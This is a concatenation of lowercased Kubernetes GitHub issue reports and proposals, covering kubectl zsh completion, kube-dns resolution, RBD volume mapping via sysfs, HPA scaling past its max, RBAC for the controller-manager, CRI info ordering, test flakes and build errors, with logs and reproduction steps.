<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  is:issue is:open zsh completion   ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :      % kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7+a2cba278\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ not a git tree\ , builddate:\ 2016-09-23t02:19:56z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }        environment  : -   cloud provider or hardware configuration  : macbook pro -   os    e.g. from /etc/os-release : macos -   kernel    e.g.  uname -a  : sierra -   install tools  : homebrew -   others  :    what happened  : if you source the kubectl complete for zsh like so:      $ source < kubectl completion zsh       this breaks zsh vi history search.    what you expected to happen  : zsh vi history to work as normal    how to reproduce it    as minimally and precisely as possible :  in  .zshrc , enable the  vi-mode  plugin from _oh-my-zsh_ this should allow to hit the  esc-/  to perform a history search.  without source the  kubectl  completion, the command works normally. after sourcing the  kubectl  completion, zsh prompts:      zsh: do you wish to see all 16016 possibilities  16144 lines ?      select 'n' for no and drops back to the prompt.    anything else do we need to know  : it seems like  kubectl  completion is conflicting with  vi-mode  plugin potentially overwriting the previous configuration.  if i source  vi-mode  after  kubectl , everything works as expected.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke/3104/  failed:  k8s.io  networking should provide unchanging, static url paths for kubernetes api services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:44 nov  2 15:08:07.978: unable to connect/talk to the internet: get http://google.com: dial tcp  2607:f8b0:4001:c1a::66 :80: connect: network is unreachable /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:39

\r  bluecmd-laptop $ kubectl get storageclass\r name                type\r generic  default    kubernetes.io/rbd   \r  bluecmd-laptop $ kubectl get storageclass --all-namespaces\r namespace           name                type\r generic  default    kubernetes.io/rbd   \r    \r \r i'm guessing there is no such thing as namespaces for storageclass, but when given  --all-namespaces  the  namespace  column is added has no values, causing the data to be miss-aligned. this caused me quite some confusion until i realized what was going on - i usually use  --all-namespaces  on all my get commands.\r \r

for aws, we need to set credentialschainverboseerrors when initializing the aws client lib.  cf https://github.com/kubernetes/kops/issues/605\r \r otherwise we get an annoying error message   nocredentialproviders: no valid providers in chain. deprecated.  , which is usually interpreted as us having done something wrong.

\r   kubernetes version    use  kubectl version  : 1.7 alpha client  local mods for e2e tests  downgrading master to 1.5.4 beta\r \r \r   what happened  :\r upon downgrading the master to 1.5.4, the api server failed to find client ca file.\r \r    console\r $ cat kube-apiserver.log \r flag --address has been deprecated, see --insecure-bind-address instead.\r i0307 19:12:19.394891       5 feature_gate.go:189  feature gates: map experimentalcriticalpodannotation:true \r f0307 19:12:19.394984       5 universal_validation.go:104  validate server run options failed: unable to load client ca file: open /etc/srv/kubernetes/ca.crt: no such file or directory\r    \r \r    console\r $ ls -r /etc/srv/kubernetes/\r /etc/srv/kubernetes/:\r abac-authz-policy.jsonl  basic_auth.csv  etcd-ca.crt  etcd-peer.crt  etcd-peer.key  known_tokens.csv  kube-controller-manager  kube-scheduler  pki\r \r /etc/srv/kubernetes/kube-controller-manager:\r kubeconfig\r \r /etc/srv/kubernetes/kube-scheduler:\r kubeconfig\r \r /etc/srv/kubernetes/pki:\r apiserver-client.crt  apiserver-client.key  apiserver.crt  apiserver.key  ca-certificates.crt  ca.crt  ca.key  kubelet.crt  kubelet.key  serviceaccount.crt  serviceaccount.key\r    \r \r   what you expected to happen  :\r \r i expected the api server to work.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r bring up a 1.6 or 1.7 alpha cluster. checkout a 1.5 release branch. run  ./cluster/gce/upgrade.sh -m v1.5.4-beta.0.33+4f5964699b8e70 . it will hang on the health check.\r

what keywords did you search in kubernetes issues before filing this one?   :\r \r kubernetes 1.6.1\r kubedns addon from repo 1.4.1\r calico with rbac 2.1\r correct kube-dns clusterrolebinding\r \r ---\r \r \r   kubernetes version    use  kubectl version  :\r \r 1.6.1\r \r   environment  :\r \r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  : 3.10\r -   install tools  : binary\r \r \r   what happened  :\r \r i got the same situation with others but dont solve the problem with below step.\r \r - add --iptables=false in the docker systemd service\r - sudo iptables -f forward accept\r \r the kubedns metrics: \r \r    \r  »»»» kubectl logs po/kube-dns-718336517-6pt1m -n kube-system -c sidecar                                                                                                                1|21:59:25\r error: logging before flag.parse: i0420 13:59:02.017433       1 main.go:49  version v1.14.0-2-g38b2ca3\r error: logging before flag.parse: i0420 13:59:02.017486       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i0420 13:59:02.017529       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0420 13:59:02.017610       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r    \r \r dnsmasq logs:\r \r    \r  »»»» kubectl logs po/kube-dns-718336517-6pt1m -n kube-system -c dnsmasq                                                                                                                          0|21:59:37\r i0420 13:59:00.816373       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local./127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0420 13:59:00.816457       1 nanny.go:86  starting dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local./127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0420 13:59:00.828770       1 nanny.go:111 \r w0420 13:59:00.828796       1 nanny.go:112  got eof from stdout\r i0420 13:59:00.828806       1 nanny.go:108  dnsmasq 15 : started, version 2.76 cachesize 1000\r i0420 13:59:00.828824       1 nanny.go:108  dnsmasq 15 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0420 13:59:00.828831       1 nanny.go:108  dnsmasq 15 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i0420 13:59:00.828837       1 nanny.go:108  dnsmasq 15 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i0420 13:59:00.828844       1 nanny.go:108  dnsmasq 15 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i0420 13:59:00.828854       1 nanny.go:108  dnsmasq 15 : reading /etc/resolv.conf\r i0420 13:59:00.828861       1 nanny.go:108  dnsmasq 15 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i0420 13:59:00.828870       1 nanny.go:108  dnsmasq 15 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i0420 13:59:00.828876       1 nanny.go:108  dnsmasq 15 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i0420 13:59:00.828881       1 nanny.go:108  dnsmasq 15 : using nameserver 8.8.8.8 53\r i0420 13:59:00.828886       1 nanny.go:108  dnsmasq 15 : using nameserver 8.8.4.4 53\r i0420 13:59:00.828891       1 nanny.go:108  dnsmasq 15 : read /etc/hosts - 7 addresses\r    \r \r kubedns logs: \r \r \r    \r i0420 13:58:59.421449       1 dns.go:49  version: v1.5.2-beta.0+$format:%h$\r i0420 13:58:59.422369       1 server.go:70  using configuration read from directory: /kube-dns-config%! extra time.duration=10s \r i0420 13:58:59.422415       1 server.go:112  flag: --alsologtostderr=\ false\ \r i0420 13:58:59.422432       1 server.go:112  flag: --config-dir=\ /kube-dns-config\ \r i0420 13:58:59.422440       1 server.go:112  flag: --config-map=\ \ \r i0420 13:58:59.422445       1 server.go:112  flag: --config-map-namespace=\ kube-system\ \r i0420 13:58:59.422450       1 server.go:112  flag: --config-period=\ 10s\ \r i0420 13:58:59.422457       1 server.go:112  flag: --dns-bind-address=\ 0.0.0.0\ \r i0420 13:58:59.422462       1 server.go:112  flag: --dns-port=\ 10053\ \r i0420 13:58:59.422468       1 server.go:112  flag: --domain=\ cluster.local.\ \r i0420 13:58:59.422475       1 server.go:112  flag: --federations=\ \ \r i0420 13:58:59.422481       1 server.go:112  flag: --healthz-port=\ 8081\ \r i0420 13:58:59.422487       1 server.go:112  flag: --initial-sync-timeout=\ 1m0s\ \r i0420 13:58:59.422491       1 server.go:112  flag: --kube-master-url=\ \ \r i0420 13:58:59.422498       1 server.go:112  flag: --kubecfg-file=\ \ \r i0420 13:58:59.422502       1 server.go:112  flag: --log-backtrace-at=\ :0\ \r i0420 13:58:59.422509       1 server.go:112  flag: --log-dir=\ \ \r i0420 13:58:59.422514       1 server.go:112  flag: --log-flush-frequency=\ 5s\ \r i0420 13:58:59.422520       1 server.go:112  flag: --logtostderr=\ true\ \r i0420 13:58:59.422524       1 server.go:112  flag: --nameservers=\ \ \r i0420 13:58:59.422531       1 server.go:112  flag: --stderrthreshold=\ 2\ \r i0420 13:58:59.422535       1 server.go:112  flag: --v=\ 2\ \r i0420 13:58:59.422541       1 server.go:112  flag: --version=\ false\ \r i0420 13:58:59.422549       1 server.go:112  flag: --vmodule=\ \ \r i0420 13:58:59.422618       1 server.go:175  starting skydns server  0.0.0.0:10053 \r i0420 13:58:59.422926       1 server.go:197  skydns metrics enabled  /metrics:10055 \r i0420 13:58:59.422941       1 dns.go:147  starting endpointscontroller\r i0420 13:58:59.422947       1 dns.go:150  starting servicecontroller\r i0420 13:58:59.423069       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0420 13:58:59.423087       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0420 13:58:59.461447       1 dns.go:264  new service: kube-dns\r i0420 13:58:59.461551       1 dns.go:462  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0420 13:58:59.461604       1 dns.go:462  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0420 13:58:59.461642       1 dns.go:264  new service: kubernetes\r i0420 13:58:59.461672       1 dns.go:462  added srv record &{host:kubernetes.default.svc.cluster.local. port:443 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0420 13:58:59.923124       1 dns.go:171  initialized services and endpoints from apiserver\r i0420 13:58:59.923145       1 server.go:128  setting up healthz handler  /readiness \r i0420 13:58:59.923153       1 server.go:133  setting up cache handler  /cache \r i0420 13:58:59.923159       1 server.go:119  status http port 8081\r    \r \r so  nslookup kubernetes.default  never resolved.\r \r    \r ‹master › »»»» kubectl exec busybox nslookup kubernetes.default                                                                                                                                            0|22:07:17\r server:    10.254.0.2\r address 1: 10.254.0.2\r \r nslookup: can't resolve 'kubernetes.default'\r    \r \r and\r \r    \r ‹master › »»»» kubectl exec busybox cat /etc/resolv.conf                                                                                                                                                   1|22:13:02\r nameserver 10.254.0.2\r search default.svc.cluster.local. svc.cluster.local. cluster.local.\r options ndots:5\r

background:\r currently the rbd volume plugin shells out to  rbd  to map and unmap ceph block volumes to the host. this creates a dependency on  rbd  and  ceph-common  to be installed on all the nodes.\r \r in addition to this, rbd volume plugin shells out to  modprobe rbd  before mapping a volume. if this call results in an error, the mapping request fails.\r \r aside to  map  and  unmap , the rbd plugin also shells out to  rbd lock  to lock block volumes and prevent them to be mounted in multiple hosts during a readwriteonce.\r \r    proposal\r \r - use sysfs to map and unmap volume\r - relax modprobe result\r - use exclusive-lock to handle locking and fencing\r \r     map and unmap using sysfs \r \r for map and unmap, i propose using sysfs, which krbd also uses. with sysfs, one could map and unmap rbd volumes by simply writing to sysfs rbd bus which are just files. for example, to map an rbd volume:\r \r  $ echo \ 192.168.0.1 name=admin rbd foo\  > /sys/bus/rbd/add \r \r when using sysfs, krbd uses kernel keyring to store the secret, whose key is used to map the volume. this can be implemented using https://github.com/jsipprell/keyctl, which is a golang native interface to the linux kernel keyring api.\r \r     not fail if  modprobe rbd  fails\r \r modprobe is a kernel operation that should only be done once to load the rbd module. i feel that we shouldn't be shelling out  modprobe rbd  every time a volume needs to be mounted. this is a one-time operation done by an admin who is manages the kubernetes cluster. if  modprobe rbd  needs to be called, at least it shouldn't not fail the mapping if it fails. a warning would suffice.\r \r the issue with calling  modprobe  is made evidently on self-hosted kubernetes deployment. on self-hosted kubelet, one would have to add additional volume mounting to get it to work. ie mounting  /usr/bin/modprobe  and  /lib/modules  so that they are accessible in the kubelet self-hosted container.\r \r     exclusive-lock for fencing\r currently, the rbd volume plugin shells out to  rbd lock  to do volume locking. this is a legacy advisory type of locking and not enforced within librbd. \r \r what i propose is to use the  exclusive-lock  feature of ceph. https://www.sebastien-han.fr/blog/2015/07/06/ceph-enable-the-object-map-feature/.\r \r the  exclusive-lock  is available in kernel 4.9+. from my conversation with @rootfs, there is already an issue that track this feature  https://github.com/kubernetes/kubernetes/issues/43809 . there is also a fix proposed  https://github.com/rootfs/kubernetes/commit/3065efc77c7d7b743ca1bbd90d7b06c324760df4 .\r \r since  exclusive-lock  is only available on kernel 4.9+, what we can do is check the kernel version and use exclusive-lock if it's supported or fall back to  rbd lock  if not supported.\r \r relying on  uname -r  might be ok. yes, there could be cases where the kernel version dont change but patches that enable exclusive-locking are picked up and applied. at worst, this would just result in a false negative, and it would revert to the current implementation  rbd lock . \r \r    summary\r so in summary, my proposal to remove the dependency on  rdb  tool on kubernetes host is to:\r \r - use sysfs to map and unmap rbd blocks\r - warn if  modprobe rbd  fails.\r - use exclusive-lock feature for locking/fencing volumes.\r - revert to  rbd lock  if exclusive-lock is not supported  < kernel v4.9

is this a bug report or feature request?  :\r enhancement/cleanup\r \r   \r   what happened  :\r in  pkg/apis , there're 3 types of groupname:  xxx ,  xxx.k8s.io ,  xxx.kubernetes.io . should we align them to  xxx.k8s.io ?\r \r @kubernetes/sig-api-machinery-misc

is this a bug report or feature request?  :\r  \r   what happened  :\r i was following  horizontal-pod-autoscale-walkthrough  https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/ \ hpa walkthrough\  .\r \r in step 2 i set  --max=1  instead of  --max=10 .\r after going through step 3, there were 4 pods running php-apache instead of 1.\r \r the interesting thing is that if i set  --max=2  the pods will scale up to 2.\r \r <details><summary>kubectl get events</summary><p>\r <pre>11         successfully pulled image \ gcr.io/google_containers/hpa-example\ \r 4m         4m          1         php-apache-253401759-0sn8r   pod                       spec.containers{php-apache}   normal    created                        kubelet, kubenode11         created container  \r 4m         4m          1         php-apache-253401759-0sn8r   pod                       spec.containers{php-apache}   normal    started                        kubelet, kubenode11         started container  \r 28s        28s         1         php-apache-253401759-4j454   pod                                                     normal    scheduled                      default-scheduler           successfully assigned php-apache-253401759-4j454 to kubenode13\r 28s        28s         1         php-apache-253401759-4j454   pod                                                     normal    successfulmountvolume          kubelet, kubenode13         mountvolume.setup succeeded for volume \ default-token-q78zs\ \r 27s        27s         1         php-apache-253401759-4j454   pod                       spec.containers{php-apache}   normal    pulling                        kubelet, kubenode13         pulling image \ gcr.io/google_containers/hpa-example\ \r 28s        28s         1         php-apache-253401759-9qfrp   pod                                                     normal    scheduled                      default-scheduler           successfully assigned php-apache-253401759-9qfrp to kubenode12\r 28s        28s         1         php-apache-253401759-9qfrp   pod                                                     normal    successfulmountvolume          kubelet, kubenode12         mountvolume.setup succeeded for volume \ default-token-q78zs\ \r 27s        27s         1         php-apache-253401759-9qfrp   pod                       spec.containers{php-apache}   normal    pulling                        kubelet, kubenode12         pulling image \ gcr.io/google_containers/hpa-example\ \r 28s        28s         1         php-apache-253401759-f1c4l   pod                                                     normal    scheduled                      default-scheduler           successfully assigned php-apache-253401759-f1c4l to kubenode13\r 28s        28s         1         php-apache-253401759-f1c4l   pod                                                     normal    successfulmountvolume          kubelet, kubenode13         mountvolume.setup succeeded for volume \ default-token-q78zs\ \r 27s        27s         1         php-apache-253401759-f1c4l   pod                       spec.containers{php-apache}   normal    pulling                        kubelet, kubenode13         pulling image \ gcr.io/google_containers/hpa-example\ \r 8m         8m          1         php-apache-253401759         replicaset                                              normal    successfulcreate               replicaset-controller       created pod: php-apache-253401759-0sn8r\r 28s        28s         1         php-apache-253401759         replicaset                                              normal    successfulcreate               replicaset-controller       created pod: php-apache-253401759-f1c4l\r 28s        28s         1         php-apache-253401759         replicaset                                              normal    successfulcreate               replicaset-controller       created pod: php-apache-253401759-4j454\r 28s        28s         1         php-apache-253401759         replicaset                                              normal    successfulcreate               replicaset-controller       created pod: php-apache-253401759-9qfrp\r 8m         8m          1         php-apache                   deployment                                              normal    scalingreplicaset              deployment-controller       scaled up replica set php-apache-253401759 to 1\r 2m         7m          10        php-apache                   horizontalpodautoscaler                                 warning   failedgetresourcemetric        horizontal-pod-autoscaler   unable to get metrics for resource cpu: no metrics returned from heapster\r 2m         7m          10        php-apache                   horizontalpodautoscaler                                 warning   failedcomputemetricsreplicas   horizontal-pod-autoscaler   failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from heapster\r 28s        28s         1         php-apache                   horizontalpodautoscaler                                 normal    successfulrescale              horizontal-pod-autoscaler   new size: 4; reason: cpu resource utilization  percentage of request  above target\r 28s        28s         1         php-apache                   deployment                                              normal    scalingreplicaset              deployment-controller       scaled up replica set php-apache-253401759 to 4\r </pre></p></details>  \r   \r \r   what you expected to happen  :\r i expected only 1 pod to be running because of the maximum amount of replicas that i specified was 1.\r \r   environment  :\r - kubernetes version: v1.7.3, v1.8.0\r - cloud provider or hardware configuration: baremetal, minikube\r - os: ubuntu 16.04\r - kernel: 4.4.0-97-generic\r - install tools: kubespray, minikube\r \r 

when kublet and crictl get debug information the information is specified in a status response struct, for example: \r     \r  type containerstatusresponse struct {\r   \t// status of the container.\r   \tstatus  containerstatus  protobuf:\ bytes,1,opt,name=status\  json:\ status,omitempty\  \r  \t// info is extra information of the container. the key could be abitrary string, and\r  \t// value should be in json format. the information could include anything useful for\r  \t// debug, e.g. pid for linux container based container runtime.\r  \t// it should only be returned non-empty when verbose is true.\r  \tinfo map string string  protobuf:\ bytes,2,rep,name=info\  json:\ info,omitempty\  protobuf_key:\ bytes,1,opt,name=key,proto3\  protobuf_val:\ bytes,2,opt,name=value,proto3\  \r  }\r    \r the info map portion of these structs was implemented in pr  53965. this has proven useful, however if more than one piece of information is added to the info map, the order of the output is not guaranteed because go maps do not preserve order. this causes data to become hidden when the amount of information placed into the info map is large. \r \r sorting the output was considered but the desired order may not be the sort order. \r \r specifying predefined static sets of key values was considered but there are multiple cri implementation types so just one set of keys & values would not suffice and the target will be constantly moving. note: it is suggested that the cri implementations begin to separately specify  at least for their type of cri implementation  standardized keys, sequence, and structures for values. then if agreed these can be proposed later on as additions to this cri api. but this is out of scope for now.\r \r the cri tools and cri implementation teams have had some discussion on this topic and one proposal is we use an array of name value pairs instead of the info map.\r \r option 1: add an array of key value pairs  detail     string{}  or via array of structs with key value pairs inside and deprecate info map  avoids breaking change allows order to be set \r option 2: add an array of keys to specify order for the map  keys   string{}   avoids breaking change allows order to be set \r option 3: do nothing forcing runtimes to create one mega structure in the map if they want to set order \r option 4: do option 1 but swap info map for the info array of key value pairs  since breaking changes are allowed \r \r @random-liu @yujuhong @feiskyer @abhi @mrunalp @runcom\r /cc @dchen1107\r /cc @kubernetes/sig-node-api-reviews

people want the ability to specify specific pods within a  different  namespace in networkpolicies.\r \r i propose we change the documentation/definition of  networkpolicypeer  so that instead of saying \ exactly one of its fields must be specified\ , we say that there are 4 valid kinds of networkpolicypeer:\r \r 1. if only  podselector  is set, then the peer selects the indicated pods in the same namespace as the networkpolicy.\r 2. if only  namespaceselector  is set, then the peer selects all pods in the indicated namespaces.\r 3.    new    if both  podselector  and  namespaceselector  are set, then the peer selects the indicated pods in the indicated namespaces.  and, in particular, if  podselector  is set and  namespaceselector  is  {} , then the peer selects the indicated pods in all namespaces. \r 4. if only  ipblock  is set, then the peer selects the indicated ip addresses.\r \r as before, it would be invalid to have a  networkpolicypeer  in which all fields were unset, or in which both  ipblock  and any other field were set.\r \r this shouldn't create any compatibility issues: no old policies would be interpreted differently under the new rules, because the new rules only describe the interpretation of policies that would be invalid under the old rules. and likewise, policies using the new features would not be interpreted incorrectly by old plugins; they'd just be rejected as invalid.\r \r  

 \r today in the gce pd plugin, disks are only identified by name. however, disk names are only unique per zone, so we run into problems when two disks with the same name but different zones are pre-provisioned and used. furthermore, a regional disk and a regular, zonal disk could have the same name, and they could be both attached to the same node, causing various issues.

bug report  :\r \r   \r   what happened  :\r \r kubernetes distro testing v1.12.0-rc.2 shows in setups with self-hosted control planes  i.e. apiserver, controller-manager, scheduler run as pods  that previously worked on v1.11.3 and prior, the kube-controller-manager now crash loops with:\r \r    \r kubectl logs kube-controller-manager-66d694fd76-nj5sf -n kube-system\r w0923 04:05:46.836870       1 client_config.go:548  neither --kubeconfig nor --master was specified.  using the inclusterconfig.  this might not work.                                                            \r w0923 04:05:47.537843       1 authentication.go:246  unable to get configmap/extension-apiserver-authentication in kube-system.  usually fixed by 'kubectl create rolebinding -n kube-system role_name --role=exten\r sion-apiserver-authentication-reader --serviceaccount=your_ns:your_sa'\r configmaps \ extension-apiserver-authentication\  is forbidden: user \ system:serviceaccount:kube-system:kube-controller-manager\  cannot get resource \ configmaps\  in api group \ \  in the namespace \ kube-system\ \r    \r \r the kube-controller-manager is run with a  service account  https://github.com/poseidon/terraform-render-bootkube/blob/master/resources/manifests/kube-controller-manager.yaml l74  with a  clusterrolebinding  https://github.com/poseidon/terraform-render-bootkube/blob/master/resources/manifests/kube-controller-manager-role-binding.yaml l8  to the default system clusterrole  system:kube-controller-manager , which seems to be defined at https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/policy.go l400\r \r editing the clusterrole manually to add  get  for  configmaps  was sufficient to fix the crash loop.\r \r    \r $ kubectl edit clusterrole system:kube-controller-manager\r ...\r - apigroups:\r   - \ \ \r   resources:\r   - endpoints\r   - namespaces\r   - secrets\r   - configmaps        <-- add me\r   - serviceaccounts\r   verbs:\r   - get\r    \r \r   what you expected to happen  :\r \r i suspect a change between v1.11.3 and v1.12.0 release candidates altered kube-controller-manager to begin looking for configmap  extension-apiserver-authentication , but didn't update the clusterroles. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r release candidate testing is happening in https://github.com/poseidon/typhoon/pull/301\r \r   anything else we need to know?  :\r   environment  :\r \r   kubernetes version  use kubectl version : v1.12.0-rc.2\r   cloud provider or hardware configuration: gce, digitalocean, aws\r   os  e.g. from /etc/os-release : container linux 1855.4.0\r   kernel  e.g. uname -a : 4.14.67-coreos\r   install tools: typhoon\r

what happened  :\r nodes lose connectivity from master temporarily and never recover.\r \r   what you expected to happen  :\r nodes recover as soon as connectivity is restored\r \r   how to reproduce it  as minimally and precisely as possible   :\r bare metal kubespray, disconnect master. kubectl get nodes will show no nodes.\r \r   anything else we need to know?  :\r restarting kubelet fixes it. it seems to be very easy to reproduce. same issue as \r  43768 and  35238 \r \r these were never resolved\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.1\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : ubuntu 18.04\r - kernel  e.g.  uname -a  : 4.15.0-38-generic\r - install tools: kubespray\r - others:\r \r <!-- do not edit below this line -->\r 

what would you like to be added  :\r \r here's how the test is written at the moment:\r https://github.com/kubernetes/kubernetes/blob/e689d515f77cda51898045d626ec4070e3328194/test/e2e/storage/testsuites/volumemode.go l329-l330\r \r during a normal test run, this  framework.waitforpersistentvolumeclaimphase  will run for five minutes and then time out. the timeout error then is considered a test success.\r \r instead, the test should wait for the expected error condition and fail if that isn't reached within the timeout period.\r \r   why is this needed  :\r \r faster test execution, more precise testing  no false positives when the operation fails for some other reason .\r \r  \r  /cc @mkimuram

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are flaking  :\r    ci-kubernetes-e2e-gce-new-master-upgrade-master  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2312    testgrid  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master\r   \r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/2154  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/2154    testgrid  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new  \r \r   which test s  are flaking  :\r   sig-storage   serial  volume metrics pvcontroller should create bound pv/pvc count metrics for pvc controller after creating both pv and pvc \r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_metrics.go:412\r wrong pv controller metric pv_collector_bound_pvc_count namespace : wanted map pv-7445:1 , got map  \r expected\r     <map string int64 | len:0>: {}\r to equal\r     <map string int64 | len:1>: {\ pv-7445\ : 1}\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_metrics.go:355\r    \r \r   anything else we need to know  :\r   at the moment, this test fails anywhere from 25% to 40% of the time in the above release blocking jobs.\r    triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=volume%20metrics%20pvcontroller%20should%20create%20bound%20pv%2fpvc%20count%20metrics%20for%20pvc%20controller%20after%20creating%20both%20pv%20and%20pvc \r \r   /remove-kind failing-test\r / /milestone v1.14\r \r cc @kubernetes/sig-storage-test-failures \r cc @smourapina @alejandrox1 @kacole2 @mortent

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i got the following error when trying to compile kubectl\r    \r $ make what=cmd/kubectl\r   bytes\r /usr/local/go/src/bytes/bytes_decl.go:10:6: indexbyte redeclared in this block\r \tprevious declaration at /usr/local/go/src/bytes/bytes.go:101:34\r /usr/local/go/src/bytes/bytes_decl.go:17:6: equal redeclared in this block\r \tprevious declaration at /usr/local/go/src/bytes/bytes.go:18:25\r /usr/local/go/src/bytes/bytes_decl.go:24:6: compare redeclared in this block\r \tprevious declaration at /usr/local/go/src/bytes/bytes.go:37:27\r   strings\r /usr/local/go/src/strings/strings_decl.go:8:6: indexbyte redeclared in this block\r \tprevious declaration at /usr/local/go/src/strings/strings.go:150:34\r +++  0410 12:52:17  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/deepcopy-gen\r   bytes\r /usr/local/go/src/bytes/bytes_decl.go:10:6: indexbyte redeclared in this block\r \tprevious declaration at /usr/local/go/src/bytes/bytes.go:101:34\r /usr/local/go/src/bytes/bytes_decl.go:17:6: equal redeclared in this block\r \tprevious declaration at /usr/local/go/src/bytes/bytes.go:18:25\r /usr/local/go/src/bytes/bytes_decl.go:24:6: compare redeclared in this block\r \tprevious declaration at /usr/local/go/src/bytes/bytes.go:37:27\r   strings\r /usr/local/go/src/strings/strings_decl.go:8:6: indexbyte redeclared in this block\r \tprevious declaration at /usr/local/go/src/strings/strings.go:150:34\r !!!  0410 12:52:17  call tree:\r !!!  0410 12:52:17   1: /home/alarcj/go/src/k8s.io/kubernetes/hack/lib/golang.sh:630 kube::golang::build_some_binaries ... \r !!!  0410 12:52:17   2: /home/alarcj/go/src/k8s.io/kubernetes/hack/lib/golang.sh:765 kube::golang::build_binaries_for_platform ... \r !!!  0410 12:52:17   3: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0410 12:52:17  call tree:\r !!!  0410 12:52:17   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0410 12:52:17  call tree:\r !!!  0410 12:52:17   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r makefile.generated_files:200: recipe for target '_output/bin/deepcopy-gen' failed\r make 1 :      _output/bin/deepcopy-gen  error 1\r makefile:556: recipe for target 'generated_files' failed\r make:      generated_files  error 2\r    \r \r   what you expected to happen  :\r i expected to find a kubectl binary in  k8s.io/kubernetes/_output .\r \r it's my understanding from the developer docs that this should work out of the box.\r also, i did not see this error when doing  make quick-release .\r \r   how to reproduce it  as minimally and precisely as possible   :\r clean clone from github, then  make what=cmd/kubectl .\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   i'm trying to compile the latest from master -> post v1.14.\r \r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r 